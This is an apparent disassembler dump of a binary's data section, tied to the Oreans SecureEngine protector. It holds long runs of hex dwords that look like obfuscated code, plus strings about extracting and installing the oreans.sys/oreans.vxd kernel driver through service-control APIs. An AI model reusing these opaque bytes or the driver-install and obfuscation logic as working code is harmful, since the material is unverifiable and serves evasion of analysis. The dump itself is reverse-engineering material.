		dd 4C000000h, 45h, 2000000h, 400h, 0
		dd 14000380h, 5	dup(0)
		dd 0C0000002h, 90000001h, 0
		dd 7E000000h, 0
		dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
		dd 2C000000h, 38000001h, 1, 0
		dd 42000000h, 96000001h, 0D2000001h, 1,	0D2000000h, 1
		dd 0
		dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
		dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
		dd 444F43h, 100h, 200h,	300h, 400h, 500h, 600h,	700h, 800h
		dd 900h, 0A00h,	0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
		dd 1100h, 1200h, 1300h,	8001400h, 4F525058h, 44585654h
		dd 1000000h, 3000103h, 2 dup(0)
		dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
		dd 7005001h, 1019100h, 27279Bh,	276F0106h, 17D0179h, 1850181h
		dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
		dd 27h,	360h dup(0)
		dd 1000004h, 58000000h,	544F5250h, 445856h, 800000h, 8 dup(0)
		dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
		dd 527376h, 9C3h dup(0)
		dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
		dd 9 dup(0)
		dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h
		dd 58D1475h, 0
		dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h
		dd 4244445Fh, 0E9000000h, 10B7h, 41564441h, 32334950h
		dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h
		dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h
		dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h
		dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h
		dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh
		dd 65536C6Fh, 63697672h, 65h, 7	dup(0)
		dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
		dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
		dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
		dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
		dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
		dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
		dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
		dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
		dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
		dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
		dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO	db '3Cannot Update oreans.sys driver. Please, make sure that you have'
		db 0Ah
		db 0Dh,'administrator',27h,'s permits the first time that you are going to '
		db 'run this program.',0
		align 4
		dd 59h dup(0)
a3cannotOpenOre	db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
		db 0Dh,'is not open by another program.',0
		align 4
		dd 67h dup(0)
a3secureengineD	db '3SecureEngine driver cannot be updated because there are some pro'
		db 'grams using',0Ah
		db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
		db 0Dh,'Restart now?',0
		align 10h
		dd 0D9h	dup(0)
a_Oreans_vxd	db '\\.\Oreans.vxd',0
		align 4
		dd 2 dup(0)
		dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpr_0	db 'SeShutdownPrivilege',0
		dd 0
aCreateeventApi	db 'CreateEvent API Error while extraction the driver',0
aGetenvironment	db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA	db 'OpenSCManager API Error while extraction the driver',0
aCreateserviceA	db 'CreateService API Error while extraction the driver',0
aCloseservice_0	db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi	db 'OpenService API Error while extraction the driver',0
aStartserviceAp	db 'StartService API Error while extraction the driver',0
aApicErrorCanno	db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
		db 0Dh,'contact info@oreans.com for this error',0
		align 10h
		dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
		dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
		dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
		dd 70h dup(0)
		dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
		dd 9400h, 500h,	100h, 0A2800h, 200h, 21h dup(0)
		dd 666F5300h, 72617774h, 69575C65h, 8B00656Eh, 8B6660C4h
		dd 1880FF0h, 0F9000000h, 49858961h, 0B906AC20h,	0DA1103Fh
		dd 6E9C08Bh, 17000000h,	92D63AB2h, 0E18166D0h, 0BD831F08h
		dd 6AC1E85h, 83097500h,	0AC0A29BDh, 19740006h, 0C08B5350h
		dd 43DB8h, 89858900h, 8D06AC08h, 0AEA2649Dh, 5BD3FF06h
		dd 29BD8358h, 6AC0Ah, 53501774h, 43DB8h, 89858900h, 8D06AC08h
		dd 0AE9F539Dh, 5BD3FF06h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0FC9674C7h
		dd 512DDEE3h, 1B4835B9h, 1C08B60h, 0AC05A595h, 8BC08B06h
		dd 0AC2AB1BDh, 85BD8306h, 6AC1Eh, 0BD830975h, 6AC0A29h
		dd 50137400h, 0B8C08B53h, 0
		dd 0A1069D8Dh, 0D3FF06AEh, 0BD83585Bh, 6AC0A29h, 50117400h
		dd 0B853h, 9D8D0000h, 6AE9FB7h,	585BD3FFh, 333D8D8Bh, 0C08B06ACh
		dd 8E8h, 0C30E0E00h, 0EC9A8FA7h, 0FBBF0F69h, 19860F5Ah
		dd 0E9000000h, 14h, 45A72907h, 1E485F9h, 9505B3B6h, 68312D3Eh
		dd 9C058825h, 12E9C08Bh, 0CE000000h, 91F8E51Eh,	26D2BFEAh
		dd 0C3E38FE6h, 5BE5D32Ah, 83D08B8Ch, 0AC1E85BDh, 9750006h
		dd 0A29BD83h, 740006ACh, 8B535013h, 0B8C0h, 9D8D0000h
		dd 6AEA038h, 585BD3FFh,	0A29BD83h, 740006ACh, 0B8535011h
		dd 0
		dd 9F859D8Dh, 0D3FF06AEh, 0B529585Bh, 6AC0CA9h,	4053F781h
		dd 0C08B7B7Ch, 24C1BD8Bh, 11E806ACh, 5B000000h,	0CE8949F5h
		dd 0F359C912h, 0BE89590Fh, 5B1AA508h, 1D199D89h, 8B5A06ACh
		dd 8D8B50C0h, 6AC11FDh,	85BD835Fh, 6AC1Eh, 0BD830975h
		dd 6AC0A29h, 50137400h,	0B8C08B53h, 0
		dd 0A09F9D8Dh, 0D3FF06AEh, 0BD83585Bh, 6AC0A29h, 50117400h
		dd 0B853h, 9D8D0000h, 6AE9F9Eh,	585BD3FFh, 2369BD89h, 880F06ACh
		dd 6, 27E98D0Bh, 7B506ACh, 0FE8BC08Bh, 0F98BC08Bh, 1E85BD83h
		dd 750006ACh, 29BD8309h, 6AC0Ah, 53501374h, 0B8C08Bh, 8D000000h
		dd 0AE9FD19Dh, 5BD3FF06h, 14E958h, 6AF0000h, 13CA892Dh
		dd 9A9349DFh, 0A5C46D28h, 21AAC09Eh, 6A58F0h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 6C97B4C3h
		dd 3CD9462Ah, 7E96EBAh,	41000000h, 54E442BDh, 0C08B4C6Eh
		dd 0C08BD78Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	5AC35747h, 887BA07h, 0B18FA444h, 1E85BD83h, 750006ACh
		dd 29BD8309h, 6AC0Ah, 53501974h, 0D0B8C08Bh, 89000007h
		dd 0AC088985h, 649D8D06h, 0FF06AEA2h, 83585BD3h, 0AC0A29BDh
		dd 17740006h, 0D0B85350h, 89000007h, 0AC088985h, 539D8D06h
		dd 0FF06AE9Fh, 8B585BD3h, 0AC08F595h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 54A55A76h, 14E8h, 0D3BD5800h, 7BA58BA6h, 0D2A77098h
		dd 380F4C3Eh, 337C87AEh, 55958B95h, 5906AC09h, 0CA81C08Bh
		dd 24F6DF55h, 333985C6h, 685306ACh, 99395F90h, 57D18B66h
		dd 0AC9B966h, 81B5FF59h, 6606AC12h, 4763CF81h, 302D8D8Bh
		dd 858D06ACh, 6AC3AFFh,	0F3EADF81h, 0D0FF1ED3h,	8959E280h
		dd 0AC0BF985h, 5FF85006h, 333985C6h, 0F5706ACh,	668C8B7h
		dd 0E9900452h, 0Fh, 392BA5FBh, 0D0E6F129h, 0E2DB1458h
		dd 0FF6CF4E4h, 0AC1281B5h, 49BD8906h, 8D06AC24h, 0AC3AFF85h
		dd 0EAE18106h, 0FF7E39E5h, 89CA8BD0h, 0AC206985h, 3985C606h
		dd 4306AC33h, 90702868h, 51006ABCh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 6B99F6AEh, 869CF85Ah
		dd 0DF0ACA81h, 8B664EAAh, 81B5FFF9h, 6A06AC12h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0C982C356h, 0CE18EBE9h, 2E6FCF33h, 17798D8Bh, 858D06ACh
		dd 6AC3AFFh, 2DBD8952h,	5F06AC1Ch, 9E9D0FFh, 2E000000h
		dd 213D3854h, 0C5831B81h, 1758589h, 85C606ACh, 6AC3339h
		dd 29C9814Ch, 68615EAFh, 0D9DA1CE9h, 880Fh, 0B5FF0000h
		dd 6AC1281h, 5DF28166h,	0FF858D94h, 0E806AC3Ah,	0Bh, 95DDFEBFh
		dd 0BF06A1C6h, 599091DEh, 9589D0FFh, 6AC1935h, 27E58589h
		dd 810F06ACh, 4, 0E933BF66h, 333985C6h,	804606ACh, 146897C5h
		dd 81BADE06h, 0CF3E22CAh, 81B5FF58h, 6006AC12h,	5E9h, 0BA29100h
		dd 0BB6602F0h, 0BF61D0F8h, 6CCAE729h, 3AFF858Dh, 6A06ACh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 6E9796C3h, 5555BA6Dh, 0CCC6BFE6h, 0D0FF0C11h, 4E8735BAh
		dd 0CD85893Ch, 6A06AC31h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0C9C2C350h,	9D352129h
		dd 0E82D4A61h, 0Eh, 0BD8393A0h,	0E1A7559Ch, 4FB7B97Eh
		dd 0B70F6F15h, 0ACB95ACEh, 0C671DDFDh, 0AC333985h, 0BF0F4706h
		dd 0B5E268C8h, 3DB28A0Fh, 1281B5FFh, 6A06ACh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0AD2A1DC3h
		dd 8A050657h, 8E85180h,	0BC000000h, 0BFE32B37h,	812949D5h
		dd 132383E7h, 8B5A592Ah, 0FF858DD0h, 5206AC3Ah,	1BA5B589h
		dd 0F5906ACh, 487h, 0FDB96600h,	0B6D0FF78h, 118589F8h
		dd 0F06AC0Ch, 0D8Eh, 5BB96000h,	89016EA0h, 0AC2D9D9Dh
		dd 0BD296106h, 6AC2061h, 333985C6h, 0FC4706ACh,	0D0B5F368h
		dd 53006A83h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0FF99C23Ah, 0AC1281B5h, 858DFC06h, 6AC3AFFh
		dd 10E9h, 76603700h, 6F9F78A5h,	7B67473Eh, 409BAAD2h, 6AD0FF3Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 1D0CC350h, 8B266121h, 85894925h, 6AC0CA5h
		dd 278DBD09h, 85C606ACh, 6AC3339h, 50006A77h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 81D56711h
		dd 0DE9B047h, 70000000h, 0C69335F7h, 18A5D607h,	0E7820138h
		dd 3525EF81h, 0A3684B97h, 8BF397A8h, 0AC05F9BDh, 79B5FF06h
		dd 8106AC34h, 42EE7BE1h, 0FF858D1Eh, 0E906AC3Ah, 0Eh, 0D77ED777h
		dd 83941EAFh, 6822C58Ch, 0D0FF3B3Ch, 32098501h,	858906ACh
		dd 6AC14F9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	5AC35343h, 251D9D89h, 958906ACh, 6AC05A5h, 333985C6h
		dd 814706ACh, 4BB91C9h,	0FAF6685Ah, 820F8728h, 8, 55952B52h
		dd 5A06AC32h, 1281B5FFh, 6A06ACh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 61534C3h, 66035FEBh
		dd 858DD18Bh, 6AC3AFFh,	0FF56E580h, 0D78B66D0h,	0DC18589h
		dd 0CA8106ACh, 517DFEC5h, 333985C6h, 6A4306ACh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0FC5FC352h, 6B0B5B9Ah, 565B981Ch, 0C99589h, 8B5906ACh
		dd 0AC066D8Dh, 6EFC6806h, 8B66BC8Eh, 81B5FFCEh,	3106AC12h
		dd 0AC2B5D85h, 0D4BF6606h, 0FF858DE0h, 6006AC3Ah, 0C9C0BE66h
		dd 0B9BD09h, 0FF6106ACh, 68C0FD0h, 81000000h, 3F09AE7h
		dd 55858907h, 8906AC13h, 0AC311D8Dh, 3985C606h,	4506AC33h
		dd 5363CBAh, 69696812h,	0B9668E72h, 0BD297C71h,	6AC1CC9h
		dd 1281B5FFh, 8DF906ACh, 0AC3AFF85h, 0FE806h, 45190000h
		dd 0A165787Bh, 0D94C90EBh, 745243CAh, 12E8B3h, 17AB0000h
		dd 1FD3841Ch, 0F906C3h,	4E7DC405h, 2583BB8Fh, 9E8h, 5657BD00h
		dd 8E230966h, 595F4B2Ch, 0FD0FF5Ah, 8589F8BFh, 6AC21D1h
		dd 0DE9h, 0CEF88C00h, 0C8FFF853h, 0DF23E896h, 85C66BD9h
		dd 6AC3339h, 49958B44h,	6806AC08h, 0B8F2EC64h, 13E8h, 0F2DC0B00h
		dd 0DB8F6EE9h, 292981DFh, 6FA8AA41h, 80E8CDA1h,	0FF59CE8Bh
		dd 0AC1281B5h, 8589F506h, 6AC151Dh, 3AFF858Dh, 0FFF806ACh
		dd 118589D0h, 8906AC1Ah, 0AC1DF995h, 3985C606h,	4306AC33h
		dd 9E9h, 0E2C02600h, 0C1196ECBh, 0A768B64Bh, 66C0764Ah
		dd 8190CA81h, 8E9h, 6770D800h, 376E81CAh, 81B5FF1Dh, 0F06AC12h
		dd 381h, 0CABF0F00h, 858D94B1h,	6AC3AFFh, 0FFF88B66h, 53006AD0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0D98589D5h, 8006AC14h, 0AEF532BDh, 840F0006h, 0BFh
		dd 14858DF9h, 6A06AEF5h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 9BC2C353h, 41C9AA38h
		dd 0E9EA8D4Ah, 0Bh, 0AFDB683h, 25893E59h, 8BAB729Fh, 95B250F8h
		dd 890F016Ah, 3, 0F5ECD80h, 680h, 0F9BD2900h, 6A06AC00h
		dd 9DB58900h, 6A06AC01h, 6D958B00h, 0FF06AC0Ch,	0AC017595h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 8907C750h, 0AC2E819Dh, 0D5BD0306h, 8906AC12h
		dd 0AC060985h, 0A428BF06h, 0FF6A0513h, 30D1958Bh
		dd 0B5FF06ACh, 6AC0609h, 0FFFE8B66h, 0AC206995h, 0E9BD2906h
		dd 8B06AC11h, 0BD83F8C0h, 6AC1E85h, 83097500h, 0AC0A29BDh
		dd 19740006h, 0C08B5350h, 7D1B8h, 89858900h, 8D06AC08h
		dd 0AEA2649Dh, 5BD3FF06h, 29BD8358h, 6AC0Ah, 53501774h
		dd 7D1B8h, 89858900h, 8D06AC08h, 0AE9F539Dh, 5BD3FF06h
		dd 5D8D8B58h, 8006AC0Bh, 0C08B85F1h, 333985C6h,	8B4706ACh
		dd 0AC26918Dh, 0F7C16806h, 8A0F93C8h, 0Eh, 890F60h, 3000000h
		dd 0AC11158Dh, 0B5FF6106h, 6AC1281h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 4CC35545h, 0E981146Eh, 7, 0BB6E1DD3h
		dd 0BAC4D450h, 74440395h, 3AFF858Dh, 0FE906ACh,	82000000h
		dd 9E79EA2h, 0AE23992h,	29F53BC8h, 0D0FF5485h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A9C35646h, 25EFB521h
		dd 7B8D15A5h, 79958Bh, 6A5006ACh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 317DC355h
		dd 96F0BF58h, 2C8806A0h, 6E9h, 0E74BA000h, 8D8424ECh, 0AEF95585h
		dd 0E2816606h, 0C7AD74h, 94h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0A2C35242h,	198D936Ah, 0BE93326h
		dd 0E6000000h, 3FB4462Fh, 0CF62056Eh, 1584D44h,	0AC0F9195h
		dd 55B58D06h, 0B106AEF9h, 0E96056A1h, 0Fh, 653F91C7h, 5AE2E95Eh
		dd 0AE8DC6E9h, 50311E82h, 2639958Bh, 615B06ACh,	6EB6D0FFh
		dd 0F955858Dh, 6A06AEh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0E3EBAAC3h, 181B589h, 788306ACh
		dd 850F0604h, 2Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 67C35242h, 0F9E985C7h, 106AEh, 950B0000h
		dd 6AC0B41h, 1E39BD83h,	0F0006ACh, 6785h, 698D8900h, 8906AC26h
		dd 0AC0DB185h, 0E9BD8306h, 6AEF9h, 4E850Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 8BD79CC3h, 0AC01CD95h, 8D958906h, 8306AC23h,	0AC1AEDBDh
		dd 840F0006h, 18h, 0C7C8BF0Fh, 0AC301D85h, 6, 0E4806000h
		dd 81BD89F2h, 6106AC0Dh, 6ADB8C66h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 1418C350h
		dd 2DE1D41Bh, 820F1D2Ah, 1, 0D78B66F5h,	0F04C3F6h, 50684h
		dd 0BDBD8B00h, 0C706AC27h, 0AC016185h, 6, 830F00h, 80000000h
		dd 0AEF53FBDh, 850F0006h, 2, 85C6D18Bh,	6AC3339h, 14E947h
		dd 0F9780000h, 0EB3224F2h, 0D47B91CBh, 0EC3A5081h, 0D4807909h
		dd 8668CD74h, 66E3E45Bh, 0B5FFC88Bh, 6AC1281h, 58D03h
		dd 958906ACh, 6AC0A81h,	3AFF858Dh, 0E78106ACh, 71AFC0F6h
		dd 0B70FD0FFh, 10468FEh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0F445AC3h, 9D8DCAB7h
		dd 6AC225Dh, 1DE58D8Bh,	6A5306ACh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 4B7DC353h
		dd 0AC8374E2h, 9D29A5B9h, 6AC07C1h, 0EF07BA66h,	8B0FD0FFh
		dd 6, 61D8D2Bh,	858D06ACh, 6AC225Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 57C35040h, 95BD5222h, 5001E726h
		dd 6E8h, 81A04700h, 297FD364h, 0AC3341BDh, 0D9BF5F06h
		dd 8D6EDE7Bh, 0AEF4F185h, 6650F906h, 8D5579BFh,	0AEEBC485h
		dd 0D18B5006h, 0FE9h, 0C091AE00h, 0D3C5A67h, 2479F50Bh
		dd 5E7B73B3h, 14F995FFh, 8D0306ACh, 6AC07F1h, 6A0CC483h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 5BFCC352h, 6ADEB645h, 806800h, 36A0000h
		dd 6A006Ah, 68h, 0C4858D80h, 5006AEEBh,	135595FFh, 858906ACh
		dd 6AEF4D4h, 333985C6h,	684706ACh, 0C7B15E87h, 1281B5FFh
		dd 858D06ACh, 6AC3AFFh,	6AD0FFh, 0F4D4B5FFh, 0D0FF06AEh
		dd 66DB529h, 958B06ACh,	6AC3191h, 0F21BD8Bh, 0D03D06ACh
		dd 0F000037h, 3A83h, 0D38B6600h, 0F4D4B5FFh, 0ADBF06AEh
		dd 0FF599167h, 0AC14D995h, 0CAE9F806h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 861FC351h, 0FF18AE43h, 0AEF4D4B5h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0D4123B4Fh, 95FFEF8Ah, 6AC14D9h, 11418D29h, 6A06ACh
		dd 6890F51h, 8B000000h,	0AC26E98Dh, 0BD895F06h,	6AC0B15h
		dd 0BD8B006Ah, 6AC1065h, 9E9006Ah, 5D000000h, 30BA06E2h
		dd 0B7FFCD0Eh, 880F006Ah, 3, 80CB8B66h,	6AC6F2h, 2705B529h
		dd 6A06ACh, 1A5BD8Bh, 858D06ACh, 6AEF4D8h, 0BB1BD89h, 315006ACh
		dd 0AC059185h, 5595FF06h, 3306AC13h, 0AC0B0DBDh, 0FFF88306h
		dd 18A850Fh, 0F5530000h, 64858D59h, 8906AEB0h, 0AC0A9DB5h
		dd 0B1B50906h, 0FF06AC24h, 0F18D89D0h, 6A06AC12h, 6890F00h
		dd 89000000h, 0AC11B195h, 0E9006A06h, 0Ch, 0F2F87003h
		dd 0F08FFD2Dh, 0C7B06746h, 8B66006Ah, 6ACB8BD0h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 3E73082Ch, 0CB56F263h, 0B956DAD2h, 26080C8Fh, 99D2959h
		dd 6A06AC1Eh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 68312D3Eh, 9C058825h, 6AD6B70Fh
		dd 2F06B900h, 858D32B7h, 6AEF4D8h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 2AC35141h, 0BFEF6F76h, 29A18D89h
		dd 895006ACh, 0AC00198Dh, 0A5858906h, 0FF06AC26h, 0AC135595h
		dd 11B96606h, 0FFF8839Eh, 96850Fh, 3570000h, 0AC10D5BDh
		dd 0B58D5F06h, 6AEEEE0h, 0CE8h,	20B9C100h, 0FA4476B1h
		dd 0AE3E243Eh, 10E8ADh,	326A0000h, 29D4A3E1h, 0F208A586h
		dd 36DA089Dh, 9D897537h, 6AC30FDh, 858D5959h, 6AE9BA8h
		dd 8018F281h, 8D8B172Fh, 6AC315Dh, 0BD8BD0FFh, 6AC311Dh
		dd 8166006Ah, 0FFFC3CD2h, 0AC21D195h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 929F8522h, 8289D57Fh, 669DB91Fh, 81660E33h, 0BF0074F1h
		dd 4356793Bh, 0F4D48589h, 6A06AEh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 1995FEC3h, 472DEC9Eh
		dd 0A1B589ECh, 6A06AC0Ah, 0FE8B6600h, 0F4CC858Dh, 295106AEh
		dd 0AC31899Dh, 0F9505F06h, 0A1E1BF66h, 8166046Ah, 8DDC4AD1h
		dd 0AC2FC585h, 89BD8B06h, 0E806AC06h, 9, 99A394FEh, 21AC0BDEh
		dd 0AE06BF62h, 505A7551h, 5621E781h, 6A6D71h, 6AF8BF0Fh
		dd 0B8D0F00h, 0E9000000h, 6, 7E5E2060h,	16A1D98h, 0BAD958Bh
		dd 8D8B06ACh, 6AC2B6Dh,	0F4D4B5FFh, 858906AEh, 6AC018Dh
		dd 1A1195FFh, 9D8906ACh, 6AC1C49h, 1B40E9h, 9DBD8B00h
		dd 8B06AC2Ah, 0B58D09C0h, 8306AC34h, 0AC1E85BDh, 9750006h
		dd 0A29BD83h, 740006ACh, 8B535019h, 7D2B8C0h, 85890000h
		dd 6AC0889h, 0A2649D8Dh, 0D3FF06AEh, 0BD83585Bh
		dd 6AC0A29h, 50177400h,	7D2B853h, 85890000h, 6AC0889h
		dd 9F539D8Dh, 0D3FF06AEh, 8D8B585Bh, 6AC3195h, 0A67580B9h
		dd 6AC08B1Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 4F2CC355h, 8970FFB0h, 0AC31418Dh
		dd 0F1816606h, 85C75C52h, 6AC0161h, 1, 0E7B868FCh, 0B5FFCEE4h
		dd 6AC307Dh, 3AFF858Dh,	0D0FF06ACh, 246D8589h, 858D06ACh
		dd 6AEF730h, 0ED858D50h, 5006AEF9h, 168h, 6D95FF80h, 0B06AC24h
		dd 0C70A75C0h, 0AC308985h, 106h, 0DBD46800h, 0B5FFC005h
		dd 6AC307Dh, 3AFF858Dh,	0D0FF06ACh, 19D18589h, 858D06ACh
		dd 6AEE97Dh, 81B5FF50h,	0FF06AC12h, 0AC0C1195h,	74C00B06h
		dd 8DD88B0Bh, 0AEF93085h, 0D3FF5006h, 0F930858Dh, 836606AEh
		dd 0A750938h, 1FF985C7h, 106ACh, 95FF0000h, 6AC0DC1h, 0FF25h
		dd 5F88300h, 85C70A73h,	6AC0129h, 1, 4A4A4DB9h,	0E58D8910h
		dd 8006AC2Ah, 0AEF53FBDh, 840F0006h, 31h, 28B5BD8Bh, 0BD8306ACh
		dd 6AEF9E9h, 48840F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0A2BFC357h
		dd 19ABE9B9h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 4EFC13C3h, 0E5BC59B8h, 83F76AAEh
		dd 0AC1FF9BDh, 850F0006h, 0AAh,	9858DF8h, 0F06AEF5h, 8B50C8B7h
		dd 0AC2E158Dh, 8B016A06h, 0AC27BD95h, 0BA006A06h, 18180C6Eh
		dd 0BE8006Ah, 6E000000h, 3ED472DEh, 0BD568C5Eh,	8D8B52F1h
		dd 6AC33CDh, 7595FF59h,	0B206AC01h, 33858935h, 8106AEF5h
		dd 0FEFC6FE7h, 6AD78B1Eh, 3E03B9FFh, 0B5FF2955h, 6AEF533h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1BC35343h
		dd 0D0C1FC3Ch, 0BD8BA32Dh, 6AC1109h, 206995FFh,	666006ACh
		dd 8488F081h, 13E961FCh, 0E6000000h, 8CF65BF7h,	0C6F8546Eh
		dd 1C8D1CEEh, 0BEAC92DAh, 858D8435h, 6AEE944h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0A2C35141h, 0D78BEF0Eh
		dd 53006A50h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 743E4A28h, 2F05BD8Bh, 8BF506ACh,	0AC01D995h
		dd 0E595FF06h, 8B06AC27h, 0AC14098Dh, 0C7BA6606h, 0CE858917h
		dd 0F06AEE9h, 0C8Ch, 68F0F00h, 8B000000h, 0AC25018Dh, 51858D06h
		dd 6606AEE9h, 50D18DBAh, 1A198D01h, 0B5FF06ACh,	6AEE9CEh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 19C35040h
		dd 4CB2490Ch, 13E9C3h, 7CDB0000h, 6BB37C07h, 91034604h
		dd 797490C3h, 0BCCC3305h, 1195FFEEh, 6A06AC0Ch,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0FCF7C351h, 8167D280h, 8298F3C1h, 1858940h, 6A06AC11h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 5DDBC352h, 2255BD89h, 858D06ACh, 6AEE9BFh
		dd 20DB589h, 2B5006ACh,	0AC00518Dh, 0CEB5FF06h,	6A06AEE9h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 621FC350h, 388D00B1h, 819669DCh, 3A02EEF2h
		dd 1195FF21h, 6A06AC0Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0B093C356h,	9E9h, 185C8300h
		dd 19DDDA69h, 8589F7D6h, 6AEE9E2h, 68E0Fh, 85890000h, 6AC13A1h
		dd 0E99E858Dh, 800F06AEh, 11h, 5E8h, 96DA6800h,	0BD8B738Ah
		dd 6AC0EE5h, 0F9605059h, 0E9618DB0h, 0Fh, 5C433CD0h, 0D767B3D8h
		dd 88ACC4AEh, 0FF9C6882h, 0AEE9CEB5h, 558D8906h, 5106AC06h
		dd 95FF5FFCh, 6AC0C11h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
